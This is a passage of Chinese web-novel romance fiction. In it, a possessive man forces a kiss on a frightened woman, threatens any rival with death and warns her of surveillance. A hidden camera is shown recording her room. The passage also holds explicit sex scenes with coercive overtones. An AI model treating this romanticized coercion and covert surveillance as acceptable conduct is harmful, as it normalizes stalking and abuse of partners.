转头盯着他:“你说这种话你自己信吗?我到底哪里对不起你,为什么非要把我套牢,我们各走各的路不好吗?” 邢屹纹丝不动,半晌,喉结随声音轻轻震动,语气平直地叙述:“小时候,家里有一只马尔济斯犬,我养的。它特别小,好像稍微用点力就能掐死它。” 孟纾语屏息凝神,不知道他什么意思。 邢屹缓缓睁眼,了无生趣地看着前方,又说:“但它很不听话,从笼子里逃出去了。后来我找到它了,你猜最后怎么样了?” 孟纾语移开视线,完全不敢看他的眼睛。 他低笑一声说:“它死在我手里了。” 什么叫死在他手里 孟纾语后背一凉。这不是恰好印证了他母亲两年前对她透露的往事吗。 她心惊胆战地问:“真的是你把它把它折磨死的?” 他弯起嘴角,保持着意味不明的笑意,掠她一眼。 “为什么会这么想。在你眼里我就这么坏?” 她紧攥着车门把手,稍微吞咽一下,喉咙莫名泛疼。 “我明白了,你说的喜欢我,其实也是为了折磨我,你选中我,只是为了满足你病态的凌虐欲” 邢屹没有接话。 她吓得掌心出汗,只能一个劲地恳求:“林助,快点停车,我求你了,停车好不好” 林泽咬咬牙,突然踩下刹车。 停了。 她快速下车,仿佛身后有猛兽追赶。 高跟鞋匆忙踩到地面,突然懵了。 手机呢? 不好,落在宴会厅了。 她身上什么都没有。 一阵凉风刮过。 她环顾一圈。 完了,附近是什么荒郊野岭啊 脚下一条宽敞冷清的柏油路,遥远的两边是稻田和树林,虫鸣声不绝于耳。 方圆百里荒无人烟,只有身后的车灯直直朝前延伸,将她的影子无限拉长。 邢屹气定神闲坐在车上,重新闭上了眼,一点反应都没有。 林泽捏了把汗。 “这里很危险,要不,还是把孟小姐哄上车吧” “别管她,让她犟。” 车子停在原地一动不动,孟纾语回头望一眼,很快收回视线。 她迎着寒风下定决心,紧抱着汗毛竖起的胳膊,快速迈开步子,一路往反方向走。 只要一直往前,一定可以遇到一辆车的。 她步伐不停,脑海里浪潮翻滚,心里的声音不断重复:邢屹没有放过我,他想折磨我。 他说的喜欢都是假的,就连万分之一的好都是装出来的。 他亲口告诉她,曾经有一只宠物死在他手上。 一定是被他折磨死的。 他本质就是个禽兽,冷血无情,病态扭曲。 孟纾语越想越后怕,她像一张白纸,被浓墨般的恐惧疯狂侵染。 另一边,林泽看着后视镜,告诉邢屹:“怎么办,她好像真的不回来了” 邢屹依旧闭着眼,语气闲闲:“她有本事就走回去,走到天亮。” 林泽欲言又止。 倔强的身影离车子越来越远,邢屹忽然沉出一口气。 睁眼,用力推开车门,他甩回一道急躁的力,车门砰一声关上。 孟纾语隐约听见身后有脚步声。 她恐惧又气闷,脚踝也跟她作对,酸痛不已,她索性把碍事的高跟鞋脱了,光着脚快步往前。 好冷,脚底更冷。 邢屹很快追上来,不由分说拦腰抱住她,往她身上披了一件外套。 她吓得够呛,拧着肩膀掀落外套,转身推他:“你不要碰我!再碰我报警了!” “想报警?可以。” 邢屹把她逼到一盏路灯下,拿出手机,居然帮她选好了联系号码,一手掐住她后颈让她定住上半身,把手机扣到她耳边。 她惊魂未定,耳边闯入等待提示音。 三秒后,听筒传出一个中年男人的声音,语气不乏亲昵,问说是不是有什么需要帮忙的事。 她默不作声,邢屹低下头,气息贴到她脸颊,沉声耳语:“对我有什么不满,跟他说,他给你办案。” 孟纾语直想哭,用力把手机拍落。 怎么办。 招惹到一个背景强硬又手段过人的疯子,她到底能怎么办。 很快,她真的哭了,声音颤抖:“我要回家,我不想跟你走” “不想跟我走,你想跟谁走?”邢屹掐着她下颌,盯住她朦胧泪眼,“说啊,把名字告诉我,我让人定制一个适合他的骨灰盒。” 孟纾语忍住哭腔,望向他漆黑眼眸,浑身说不出的窒息感。 “邢屹,你别这样” 邢屹充耳不闻,反而翻旧账质问:“孟纾语,你是骗子吧,不是说喜欢上我了吗?才两年,你就忘得一干二净了?” “不,我不喜欢,我一点也不喜欢你” “错了,你喜欢。” 他目光锐利,刺一样将她牢牢钉住,把她钉出一 个对穿。 看着她脆弱无助的表情,他忽然笑了:“我们小语,是不是忘了在我身上湿透的样子了?需要我提醒你吗?” 她从没见过这样的他,像失了智的牢笼困兽,眼底的狷狂泛滥决堤。 她浑身发软。 “你再这样,我就告诉所有人,你是个不折不扣的疯子,你骗了所有人,你根本不是他们看到的那样,你坏透了唔!” 猝不及防被他吻住。 呼吸滚烫,一瞬间撞过来,嘴唇疼得发麻,邢屹摁着她后脑勺用力吮吻,舌头横冲直撞,在她口腔疯狂席卷。 后背抵着灯柱,身躯被他强势压着,骨头像被锁链紧缠,仿佛再挣扎一下就要散架。 可是推不开他,越推他就吻得越深。 她濒临窒息,呜呜咽咽出声,眼泪滑落嘴角,被他一吻而尽。 邢屹吻得尽情,几乎将她吞没。 在她越哭越凶时,他终于退开一点距离,捧起她的脸,指腹抹去她脸颊泪痕。 她双眸失神,心有余悸地抽泣着。 细软的礼裙吊带滑落肩膀,敞露一片细腻白皙,口红也花得不像样。 孟纾语眼眶通红,泪水还在往下流,邢屹怎么擦都擦不完,他索性让她继续哭,弯腰将地上的西装外套捡起来,用力抖了两下,甩落灰尘,披回她身上。 紧接着,他半跪在她身前,握住她颤抖的足踝,把高跟鞋穿回她脚上。 她埋头,控制不住地深呼吸,一阵又一阵抽泣。 邢屹掀起眼皮看她几秒,似乎想说什么,终究还是没说。 他站起身,牵过她的手。 她立刻挣开。 他脸色黑沉:“走不走?” “不走!” 她以为他会说“你不走就算了”。 没想到他安静几秒,从裤兜里拿出烟盒和打火机,侧头用手掌挡着风,自顾点了根烟。 他浑不在意,转头呼出一阵烟雾,看向远处树林,指尖掸落烟灰。 “行,不走就不走,陪你耗。” 烟味很淡,她闻到一点味道,没什么不适的。 只是心里又被蜇了一下。 不是说戒烟吗,又抽上了。 碎碎念不小心出声,邢屹瞥她一眼:“我女朋友才管我抽烟,你是不是?” “” 郊区太冷,她下意识裹紧了衣服。 却发现肩上披着的是他的外套。 邢屹撇过头抽烟,背影对着她,冷飕飕撂话:“冷就穿上。” “不穿。” “不穿就冻死。” 孟纾语无言片刻,蹲下来把自己抱成一团,委屈巴巴。 “我要是死在这儿,你就是最大嫌疑人。” 邢屹笑了下。 “是。毕竟你身上最多的就是我的指纹,连里面都有。” 她瞬间憋红了脸。 腿麻了,她晃晃悠悠站起身。 想了想,继续朝前走。 邢屹掐灭了烟,跟上她。 她一门心思远离他,加快脚步。 腿好酸,走到天亮估计都走不回市区。 孟纾语望着无边夜色,忽然好绝望。 怎么办,她论文还没改啊! 这下是真的想哭。 她掀了外套,团成一个球,回身砸到他身上。 邢屹眼疾手快地接住。 衣服上染了她的香味。 他闻到了。 眉梢微微一挑。 孟纾语审时度势,心想再这么下去不行。 再次跟他谈判:“我不想跟你回什么半山别墅,我要你送我回家。” 他垂眸折了折外套挂在臂弯,浅笑一下,兀自点点头:“行啊,上车就答应你。” “你答应我我才上车。” “行,我答应你。” 争论时,林泽已经把车开过来。 她抱着最后一丝希望,犹犹豫豫上了车。 路程开到一半,邢屹手机响。 接通,传出邢美莱的声音:“你跟小语在一起吗?保姆说家里断水了,不知道怎么搞的,今晚你先带小语去别的房子住,修好了再回来。” 通话开了免提,孟纾语听得两眼冒金星。 邢屹:“知道了。” 电话挂断。 他优哉游哉,手机抵在大腿上转了几圈:“这回可不是我强迫你。” 她已经头昏脑涨,缩在座椅角落攥紧拳头。 “好好的怎么会断水,肯定又是你故意安排的。” 她已经看透他了。 邢屹哼笑一声,没说话。 她灵光一闪。 “可以不回家,送我回学校,我要回寝室。” “学生公寓早锁门了,你要翻墙?” “翻就翻,反正我不想跟你去别的地方。” “想不想,不是你说了算。” 她深呼吸。 “邢屹,你不觉得你很无耻吗?” “我有说过我品行高尚吗?” 一下被他堵得哑口无言。 她心跳再次加速。 抬手擦了擦眼角清泪,委屈极致:“你把你的宠物狗折磨死了,现在就想来折磨我吗?” 他笑了:“孟纾语,别拿自己跟宠物狗比。” 他越是云淡风轻,她就越害怕。 以至于口不择言:“你再这样,我会跟别人谈恋爱。” “跟谁?”他瞥来一眼。 她下意识沉默。 他歪了歪头,看着她:“是有哪位心仪对象了?说出来,没关系。” 她喉咙发紧。 不敢搭话,生怕邢屹下一句是“无论是谁我都会弄死他”。 静了片刻,她突然耷着眼皮,摇摇晃晃倒进他怀里。 邢屹明显错愕。 “孟纾语!”他捧起她的脸,晃了又晃,试图让她保持清醒。 她小幅喘息,说话有气无力:“我头很晕,手指也很麻” 他眉心一拧:“你又没好好吃饭?” 林泽及时出声:“是不是低血糖了?” 可是手边连颗糖都没有。 他只能命令林泽:“去医院!” 车子即刻加速。 孟纾语在他怀里掉眼泪。 “好难受” 邢屹把人搂在怀里安慰,亲吻她额头,语气明显焦急:“没事,一会儿就到医院了,乖,没事。” 快马加鞭赶到医院。 单人病房里,护士给她吊一瓶葡萄糖,询问她现在还有没有不适。 她躺在病床上,虚弱地摇了摇头。 邢屹靠在窗边看着她,深沉目光捉摸不透。 等护士走了,孟纾语默默翻个身。 “我想睡觉了,你出去吧。” 片刻,邢屹勾起外套,一言不发地走出去。 门关上。 走廊外的脚步声渐行渐远。 他应该是去楼梯间抽烟了。 等到时机合适,孟纾语立刻爬起来,忍痛拔掉针管。 混蛋邢屹,不是要教她学坏吗。 现在她也学会演了。 她静下来想,证件还在家里,如果要短暂离开的话,她必须把证件拿回来。 虽然躲得了一时躲不了一世,但至少,她可以买最早的机票飞回宁城。 否则这段时间,她迟早会被他带回半山别墅锁起来。 他一定干得出那种事。 凌晨,她从住院部后门溜出去,打到一辆出租车,告诉司机师傅,等回到家她再支付车费。 司机看她穿着不像没钱的样子,纠结两下就答应了。 兜兜转转,孟纾语顺利回到颐云公馆。 进门,她直奔卧室,找 到一台备用手机,连上充电器。 等待充电的过程里,她开始埋头寻找现金和证件。 奇怪,去哪了? 明明放在床头柜里的。 啊,找到了。 她下意识查看。 下一秒瞳孔地震。 为什么是邢屹的 ——“找到了吗?” 身后冷不丁有声音,她吓得撞到桌角。 邢屹就靠在门上静静看着她。 孟纾语浑身僵住,本能的恐惧让她手脚发麻,整个人瘫坐在地上不知所措。 邢屹走过来,手臂搭在膝盖上,半蹲在她面前。 “问你话呢。”近距离对视,他牵起云淡风轻的笑,“想要的东西找到了吗?” 孟纾语怕得连呼吸都在抖。 “邢屹,我求你了,你不要这样” “我怎样?你不是讨厌我吗,为什么还要跟我学坏?”他笑意更浓,“演得真像啊,我都心疼了。” 她起身逃开,被他摁在原地。 几番挣扎,礼服被他扯坏,撕裂声撞破空气。 她紧缩在床边,邢屹靠过来,抚摸她沁出冷汗的额头。 “知道吗,跟一个人做过很多次之后,就会下意识模仿他的行为。”他点点她额头,“脑子里,会有我的影子。” “还有这里。”他手往下按,浅笑着说,“也会有我的形状。” 第33章 回吻占有 颤抖的身体死守防线。 曾经一碰就湿软的地方,现在干涸紧绷。 她全身上下只有眼底是湿的。 面前的男人似乎也觉得没什么兴致,懒恹恹把手收了回去。 礼裙被扯坏,白皙绯红一并暴露在昏暗里。 她只能双手环抱在胸前,紧抿着唇跟他较劲,动也不敢动。 邢屹给她裹好一件外套,把她抱到腿上。 她不肯离他太近,拧身挣脱,邢屹用更强的力道收紧手臂,偏要让她待在他怀里。 “为什么装病骗我。”他捧起她的脸,“是我把你教坏了,还是我们做过太多次,你染上我的恶习了?” 孟纾语避开他深暗视线,下意识蜷紧身体,声若蚊呐:“因为我怕你。” “我也没那么可怕吧。” 他轻撩她耳边长发,“你跟我撒个娇,我不就放你回来了?但你非要乱跑,我能怎么办?只能这样。” 这叫什么话,她想哭了。 如果在极度恐慌的情况下,她还能游刃有余跟他撒娇,那她一定是个预设好程序的机器人。 邢屹摸着她的头发,轻声打破沉默。 “我没有虐待它。” “我发现它的时候,它已经被别人虐待死了,尸体扔在别墅附近的垃圾桶里。本来很白的一只,忽然浑身都是血,脖子和爪子都被细绳绑死。 我想救它,拿小刀给它割开绳子,正好被邢漫芊看见。她一口咬定是我虐死了它,说我冷血无情,是个天生的心理变态。” 孟纾语怔在他怀里,默默消化这一系列因果。 “我一直觉得这件事没什么好解释的。但我不希望你误会我,害怕我,把我想成十恶不赦的虐待狂。我从来没虐待过它,只是后悔没有好好照顾它。但我更恨它不听话,明明可以好好待在我身边,却非要逃出去。” 邢屹抚摸她脸颊,好像上一句话是对她说的。 她后背发凉,忽然觉得自己才是那只被绳子困住手脚的小狗。 孟纾语问他:“那你对我也是那种想法吗?” 他轻挑眉梢,浅笑:“什么想法?” 邢屹在明知故问,可是她已经一步一步看清他的内心。 “你讨厌我不听话,所以你总是警告我,如果我离开你,你就把我锁起来。” “你对我不是纯粹的喜欢。” “而是变相的占有欲,对吗?” 邢屹并不回答,只是好整以暇地看着她,指腹在她耳边轻轻摩挲,像触碰一件惹他爱怜的艺术品。 这份刻意的沉默,意味着她已经猜中了一大半。 因为他占有欲旺盛,几乎到了病态的程度,所以不甘心跟她彻底结束,所以才悄无声息回国,再次闯入她风平浪静的生活。 但她依旧想不通。 “两年前两年前不是你说要结束的吗,为什么又突然回来” 说话时,邢屹的手已经钻进裹在身前的外套,指尖恶劣地捻了捻。 她肩膀一抖,痒得难捱。 他似乎在惩罚她。 “我提出结束,以为你会挽回我,但你没有。我很失望。” 他突然加重力道,孟纾语呜咽一声,所剩无几的眼泪已经被他吻尽。 她像失落已久的白瓷容器,被拾回,被占有。 他知道她哪里最敏感,就连耳朵都是脆弱的开关,所以他贴得很近,浑哑嗓音绕在耳畔。 “我知道你一直在等我改变,否则你就要离开我。” “可是我不知道怎么改。” “我只知道,属于我的永远是我的,她就该永远待在我身边,没有逃离的权利。” 孟纾语呼吸加快,软绵绵伏倒在他肩上,抱着他,心理越是抗拒,体温就越是控制不住地迎合。 “两年没见我,想我吗。”邢屹饶有兴味地问。 她已经说不出话,蜷紧的手指不停颤抖。 “好像很想。”他气音含笑,“你这里,替你回答了。” 如果有一面镜子,她会看见自己是如何在他手里熟透的。 她咬着嘴唇,双手乱攀,很快就无意识地搂紧他脖子。 邢屹享受着怀里的人又拱又钻的温热感,他一手摸着她头发,手指插到发丝深处,轻轻揉。 “你的证件在柜子最后一层,我一个都没拿。”他沉声说,“你去哪我都能找得到你,不如老老实实待在我身边。毕竟你也知道,万一逃走之后被我逮到了,房间里布满监控的日子不会很好过。” 孟纾语在他手指节奏里反复沉溺,忽然又因为他的恫吓而感到一阵窒息。 她乱动时摸到他手臂内侧的疤痕,心里又泛起焦急。 到底是什么时候伤的,怎么伤的,缝过针吗,这里离动脉很近,他流了很多血吗。 一箩筐的话,问不出口,干涩的喉咙只能溢出一句:“到底要怎样,你才会改” “不知道。” 其实他想说的是改不了。 不知道怎么改。 她所认为的爱是宽容体谅,而他的爱是彻彻底底占有。 想要她的身体被他填满,心也被他填满,一丝缝隙都不能留。 如果不是因为她的出现,十三岁的邢屹真的会坠入深渊,将杀人放火的恶事全部做遍。 第一次见她的时候,视频里的女孩干净纯粹,仿佛在跟他对话。 父亲问她,转学第一天过得开心吗? 她背着书包往前走,甩着马尾辫,歪了歪脑袋笑对镜头。 “开心呀,老师同学都很好,班上没有讨厌的男生欺负我。” 如果以后还有人欺负你呢? “如果还有人欺负我,那我就我就瞪他一眼,把他赶跑,再专心做自己的事情。他不写作业我还要写作业呢,我要考年级第一。” 真的吗,不想欺负回去吗? “为什么要欺负回去?世界上有很多争执都是没有结果的,即使欺负回去,最终也会两败俱伤,有什么意义呢,时间都浪费掉了。” “我已经十二岁啦,妈妈去世前一天对我说,人会慢慢长大,慢慢跨过一个‘只凭对错评判人和事’的阶段,也不会再被冲动情绪牵着鼻子走,只会慢慢回归内心。” “我觉得我已经长大了,意识到时间是很宝贵的,如果我天天想着报复,那我还怎么利用有限的时间让自己变得更好呢? 我只想踏踏实实长成一棵树,不想成为一根见人就扎的刺。” 最后,她对着镜头笑,眉眼弯弯,是夏夜里一半毛茸茸的清月,阳光映清她每一根柔软的睫毛。 那一年,十三岁的邢屹停在母亲家门口,低头摩挲着金属打火机,纵火报复的念头突然被打消。 他想要的,已经不是发泄后的快感。 他想要她。 孟纾语,孟纾语 小语,小语 她的名字占据他整个晦暗的青春期。 可惜,他们是截然相反的两个人。 她不想成为一根刺,也讨厌像刺一样的人,而邢屹又何止是刺。 他几乎是一柄利刃,谁跟他作对,他就将对方钉在柱子上,凌迟,捅穿。 宽容大度,既往不咎,这些词汇不在他的字典里。 但他还是决定听她的话,放下很多仇恨与执念。 遇到她,是一件很幸运的事。仿佛被一针镇定剂深深扎进血管,冲散他骨子里的恶劣。 最后他真的压制住体内的暴戾因子,长成了所有人眼中桀骜明亮的少年,大家崇拜他爱慕他,他活在花团锦簇里。 再到现在,他完全不缺金钱与地位,什么都能得到,什么都能给予,哪怕孟纾语想要一个乌托邦,他也可以给她建造。 每个深夜,他心底的声音再次叫嚣。孟纾语,你已经改变了我一半的人生,我怎么可能轻易放过你 记忆被她一声低吟冲散,她掉眼泪了。 邢屹不动声色地退后,掌心全湿。 孟纾语脸色涨红,理智回笼之后才意识到有点丢脸。 埋头推开他:“我要去浴室” “别动。”邢屹摁住她,微阖着眼皮对她笑,“就在这儿,弄在我身上。” 她羞得快要炸了:“邢屹你有病吗” 突然,他手指一按。 她猛然跌伏在他肩上,眼泪滑落,哆哆嗦嗦热潮凌乱。 邢屹兴致盎然,突然把她抱起来放倒在床上。 她像一只缺氧的鱼,已经没有负隅顽抗的力气,闭着眼一呼一吸,感受到压在胸前的重量,听见一阵清脆利落的金属声。 邢屹吻她耳垂,尾音轻浮:“到底想不想我?” 孟纾语面红耳赤攥住他手臂,指尖陷入,不知他会不会疼,只听见他又问,你想我吗。 她不擅长说谎。 无论是哪种方面的想,都是想。 她半睁着水雾迷离的眼眸轻哼一声,邢屹就明白她的意思。 于是他低头吻住她,得到回答,搁浅两年的船只,终于重新沉入属于他的海域。 将近千日的不闻不问,两年的冷战僵局,由他打破,像一场强势的审问程序,一连追问到底,到底,再到底,直到她的声线剧烈颠簸,颤颤巍巍哭出声来,回答想他,很想他。 邢屹绞着她舌尖,依旧不满意,要她再大声地回答。 她答到最后只剩抽泣,泪腺出口被泪水糊满,他指腹轻轻擦去,另一边堵住进出,她温热的泪水溅到枕上,全是水,溅到床单上。 她哭得很凶,不知不觉又被他蛊惑到换了个哭泣方式,燥红的脸庞埋在枕上,后颈被他狠狠掐着。 邢屹撩开她凌乱的发丝,亲吻她耳后泛红的肌肤,掰过她的脸擦去眼泪,可是怎么擦都擦不完,他只哄又不停,孟纾语还是在哭,片刻却迷迷糊糊攥住他的手,邢屹顺势跟她十指紧扣,掌心与手背重叠,压在枕上。 他咬住她耳垂,声音完全哑了:“有多想我?嗯?说话,别光哭。” “想一直在想” 她哭红了眼睛,邢屹垂眸看一眼泛红的地方,恶劣低笑一声:“被我红了。” 她呜呜咽咽地哭,被邢屹翻过身来,目光正面纠缠,他低身吻她,夸她好乖,好会哭,这么多水,越擦越多,是不是想淹死他。 她羞得说不出话来,抽抽噎噎搂住他脖子,泪水全部蹭在他肩上,脑袋不小心撞到床头,他伸手护住她,却继续撞,她简直要被撞晕了,攥住他的手臂保持平衡。 邢屹的汗水滴落在她锁骨,最后他卸下轻薄防备,一局审问由他率先退出,他肩膀挡住她视野,一个习惯性的笔挺跪姿,一只青筋涨起的手掐着她脖子,另手在她视线边缘由他自控。 视线纠缠,他压着凌厉的眉,垂眸看着她。月光下,她泪眼朦胧,仿佛被淋湿。 很烫,一切都很烫,她的眼泪似乎被月色凝练,像泪失禁体质,冲破般解禁,被骨节清晰的手掌握着瞬涌,他抚摸她脸颊,指尖蘸染泪意的慢调陡然变乱,一倾而尽,摊开蔓延覆盖她的心跳。 他吻过来,空气搅乱一丝味道,她全身都软了,忽然很想抱他,听他贴在耳边沉闷的呼吸声。 邢屹扯几张纸巾,擦干她的眼泪,把所有都擦干净,顺势将她抱起来,吻她滚烫的脸颊,再到殷红的嘴唇。 她会给一点他想要的回应,他吻够了,注视她通红的眼,长指擦过一片湿泞泛红,蹭在她耳边气沉声哑地犯浑:“真遗憾,本来应该在这儿。” “” 整个人烧起来,她一言不发掀起被子埋进去。 邢屹把倔强的小人拖抱出来,带进浴室洗澡。 “不要,我自己洗。”她红着脸把门关上。 邢屹由她去,顺手套上一件深色睡袍,拿上打火机,自顾到阳台抽了根烟。 脑海里回味,是令他沉迷的温度。 她真的温柔又绵软。 邢屹一手夹着烟,两条青筋未退的手臂撑住围栏,望着无边夜色,轻滚喉结吐出一口烟雾。 沉郁放空片刻,缓缓牵起嘴角。 半小时后,卧室里响起吹风机运作的声音。 他的手机放在围栏上,忽然也响起一声提示音。 屏幕亮起,一组清晰的视频缩略图跳出任务栏。 伴随一行文字。 【2:27:49——您的「puppy」正在房间里活动。】 第34章 回吻骨头都软了(一更) 孟纾语吹完头发,打了个喷嚏。 奇怪,怎么总感觉有人在看她。 哦对,阳台还有个活物。 她刚要转过身,邢屹已经从身后抱过来,她茫然侧头,他借机在她唇角啄吻,手指揪她睡裙领口的绸带,又往外勾了一下,洗完澡只穿这一件,齿印吻痕交错斑驳,赫然在目。 他低头扫一眼,忽然不着痕迹地笑。 孟纾语怔了下,心跳倏然加速,他怎么这么烦呐,脑子里到底装了多少颜色废料。 邢屹扣住她肩膀恶劣地拧一下,她下意识哆嗦,被他圈在怀里,听见他犯浑说,早知道洗澡前就不必直接擦干净,而是留住,画一样,很有意思。 她面红耳赤,咬着唇支支吾吾:“你真是太” “太怎么样?” “太烦人了。”她硬气地说。 “是吗?”他揪她,“再说一遍?” 被他使坏,她陡然瑟缩,像被蜜蜂蛰了一下,邢屹贴着她脸颊威胁,说不说?再不说就咬了,她心想咬就咬,轻哼一声:“没听清吗,我说你烦人呢。” 已经学会有恃无恐了。邢屹低笑一声,直接在她后面扇了一下。 她轻叫出声,明明不疼,整个人却僵滞一瞬,一路从耳根子红到了肩膀。 他没怎么用力,就是想逗逗她,又让她受了一记掌掴,说要在门后装一面镜子,到时候让她踮着脚尖撑住镜面,他就这么随心所欲地欺负,看她会羞成什么样子,会不会一边骂他一边哭,泪水一涌而下,像小时候玩的水球游戏,把红色气球用力一捏,清水哗啦啦像瀑布一样流下。 欠扁! 她像被黑鹰盯上的小仓鼠,倒腾两下快速逃开,随手抓一个玩偶砸他,作案完毕,鱼一样钻进被子里。 玩偶飞到半空,邢屹稳稳接住。 似乎被开启了记忆阀门,他看着手里的东西,眼睛眯了下。 这只玩偶,不知被她殴打了多少次,原本圆乎乎的脑袋都有点扁了。 邢屹冷不丁出声:“这个你还留着?” 她定住。 “等等!” 刚要起身去抢,邢屹已经瞥见玩偶后面的小标签。 上面有一行泛灰的数字,用中性笔亲手写下的,她的字迹。 「5.21」 他的生日。 “你还给我。” 她气呼呼夺走玩偶,可惜跪在床边重心不稳,啪一下倒进他怀里,迎面撞到不可名状的地方。 邢屹就这么站在床边抱住她,沉默片刻,一手搭在她头发上揉了揉,另一手捧起她的脸。 她仰头看他,眼底雾蒙蒙的,有点懵。 邢屹低垂视线,指腹抚过她眼角。 孟纾语坐在自己脚后跟上,跟居高临下的幽邃目光对视,无意识吞咽一下。 姿势有点怪异。 两人心照不宣。 其实两年前,邢屹醋坛子打翻气急败坏那天,她也很不高兴。 然而,虽然在气头上,她还是选择记下他的生日,记下了他想从她这里收到生日礼物的愿望。 可惜他五月份就出国了,邢屹生日那天,两人隔着太平洋,谁也不过问谁。 空气安静。 邢屹端详她迷茫的表情,指骨蹭蹭她嘴唇,又摸到她喉咙。 粗砺指腹轻轻摩挲:“一直想放点什么进去,又怕把你撑坏了。” “?!”她心惊胆战钻回被子里,“不可能让你放,你想得美。” 他笑了下,走进浴室。 水声响起。 孟纾语用被子蒙住头,沉下心。 她相信邢屹没有骗她。 她相信他不会坏到那种程度,相信他从始至终没有伤害过弱小生物。 闷了会儿,孟纾语掀开被子,深呼吸汲取氧气。 一阵短暂的心安,下一秒又免不了担心。 他疯狂的占有欲像定时炸/药,先别说未来能不能适应,光是现在的程度就已经让人窒息了。 如果他再变本加厉,她完全招架不了。 进退两难,她仿佛钻进了死胡同。 喜欢他,但又无法彻底喜欢他。 好像小动物在田野里打滚玩闹,一阵欢快后发现,身上沾了毛刺刺的苍耳,不拔就难受,拔掉反而疼。 除非苍耳有了觉悟,自己把自己变成毛茸茸的蒲公英。 ——滋。 手机震动。 孟纾语提心吊胆地点开,祈祷不是导师。 导:[根据我的批注,认真修改,尽早发我(玫瑰)] “” 老师半夜三更不睡觉吗。 好敬业,她忽然于心有愧。 乖乖回复:[好的老师,我会尽早发给您的] 于是灰溜溜爬起来,抱着笔电修改论文。 坐累了,她把电脑搭在床尾凳上,改成趴着,双脚翘在半空有一搭没一搭地晃。 邢屹洗完澡,直接从背后覆过来,暖烘烘的,手臂圈住她肩膀,亲来亲去故意捣乱。 “别写了。”他鼻尖蹭到她耳垂,气音里全是蛊惑。 孟纾语动了动肩膀,想把这只祸国殃民的灰狼抖下去,可是他身子骨太重了,她越挣扎他就越覆得越紧,一只手还不停作乱。 她一时羞恼,只能借用最后一点力气,抬起胳膊怼怼他:“好了,你快点下去,我要继续写了。” 不尽早写完发过去,怎么对得起导师半夜给她做的批注。 邢屹兴致缺缺抬眸,手臂撑起一点距离,她稍微回头就能看见他喉结。感觉很微妙,自己像躲在一个由体温搭建的帐篷里,暖热的安全感。 他看了眼电脑屏幕,手指在触控板上轻轻滑动,翻看她的文件夹。 参考文献和专著堆积成山,一水的精神分析法,内时间意识现象学 邢屹催她去睡。 “先睡觉,我给你弄。” 她怔住:“这是毕业论文,你不可以帮我写的。” 他说当然不是帮你写,只是帮你整理一下,提供一些思路。 孟纾语犹豫片刻,躺回被子里。 一沾枕头就困了,她迷迷糊糊朝远处瞄一眼,邢屹把电脑拿到了桌上,坐下来开一盏台灯,指尖敲击键盘的力度刻意放轻。 他要是一直这么温柔就好了。 这么想着,她沉沉合上了眼。 做了个凌乱的梦。 梦见自己被困在一个漆黑的小方盒子里,抬头,周围全是闪烁的小红点,像无数双眼睛盯着她,让她无处遁形。 她慌乱转过身,眼前又是一幕巨大的电子大屏,一帧又一帧放映着她的成长片段,儿时的她对着镜头笑,背着书包奔跑,穿过野花烂漫的小径。 一时间,她忽然控制不住自己的步伐,只能被童年的自己拽着跑,一直跑,直到面前出现一条长廊。 长廊,长廊这是话剧院的长廊。 话剧院,妈妈也在,她继续跑起来,推开每一扇棕红色的门,四下寻找,一声声地喊,终于听见回音,“小语?” 徐以婵还是年轻时的模样,扎着低马尾坐在一束聚光灯下,手里翻着一卷剧本,笑容绽开,“小语过来,到妈妈这里来。” 她揉了揉眼,喜极而泣地跑过去,母亲张开双臂抱住她,她拱在怀里哭,一直喊妈妈,徐以婵温柔地笑,抚摸她头发,“怎么哭啦,小语好爱哭呀,不哭了乖乖。” 她抽泣着说,妈,我好想你,我最近发生了好多事,可惜你都不知道,我喜欢上了一个人,但不知道该不该继续喜欢他,他好像是个混蛋,但他又特别好,好到我一直在想他,想了两年。 徐以婵轻轻给她拍背,“没关系,只要是能让小语心动的,那他本质上一定是很好的人。无论你做什么决定,妈妈都会支持你的,不要害怕。” 她吸一记鼻子,抬头,徐以婵为她抹去泪水,“乖乖,不能陪你太久了,妈妈要去认真排练啦。等小语长大了,妈妈或许就能演上主角了。” 等她反应过来,头顶的光线已经变弱,徐以婵的脚步声越来越远,她愣了愣,起身追上去,却撞到一个小男孩。 等等,为什么她这么矮? 她抬起自己稚嫩的手,吓得瞪大双眼。 这是怎么了,为什么她也变小了。 “喂。” 小男孩没礼貌的一声让她回神,面前,他耷着一双黑眸,冷冷看着她。 “整个后台就你最吵,你一直在哭,是我哄的,拜托你以后不要再哭了,很难哄的。” 她皱眉疑惑,小声“啊”了一下,头顶灯光突然啪一声灭了,她被一个高大的人从身后抱住。 宽阔的胸膛,结实的手臂,是一个成熟男人,他身上有她依恋的味道,就连声音都无比熟悉。 “为什么,为什么你那么早就闯进我的生活,甚至改变了我的人生轨迹。孟纾语,都是因为你。” 她心慌意乱,说不是,不是因为我,我什么都没做。 他死死缠着她,她心生恐惧,从他怀里拼命挣脱开,一股脑地朝前跑。 跑着跑着,长廊忽然消失,她落回小方盒里,数以万计的监控红点齐刷刷亮起,疯狂叫嚣着,像不可违背的警告。 “孟纾语,还要跑吗?你跑不掉的。你的一举一动,都在我的掌控里。” 不可能! 她猛然惊醒。 窗外还是黑天。 她昏昏沉沉缓了会儿,拥着被子坐起来。 远处的书案前,邢屹还在帮她处理论文难题,似乎听见动静,他保持专注头也不回地问:“做噩梦了?” 她失神几秒。 “没什么,只是有点口渴。” 起来喝了杯水,又继续睡下。 半晌,隐隐约约感觉有人抱住了她。 她陷在让人心安的温热里,很快睡着,最后无意识翻了个身,主动钻进他怀里。 那些海市蜃楼般的梦景烟消云散。 一夜沉静- 窗外天光大亮。 醒来感觉身上有点沉,好像被什么压着。 她稍微一动,身后的人轻咬她肩膀,她瞬间清醒,回头想说什么却被吻住。 她软绵绵轻哼一记,睡眼惺忪地望着他,邢屹低声说一会儿就好,于是把头贴过来对准蹭了蹭,蹭完就沉埋挤进,黑茸茸的脑袋拱进她肩窝,重重吻她颈侧。 她立刻攥紧手指,声音像糖霜化开。 等她完全恍神的时候,邢屹故意让她打起精神,退了退,那只棉花玩偶被他单手抓过来,他拉开它 身后的拉链,抵着拉链缝气音浑哑地问:“自己玩过吗?” “嗯?”她哼哼唧唧,半晌才反应过来,一时怔住,耳朵又红了,被他浑闷地咬住,又审她。 她脸庞埋进枕头,瓮声瓮气:“没有” “骗我。” 她咬了咬唇,没辙,只好承认:“一两次” “两年,就一两次?”他懒声戏谑,质问她,“到底几次?” 这种事情,她怎么记得清呢。 被他欺负得骨头都软了,埋头含着哭腔说:“我、我没数过” “那就是很多次了。” 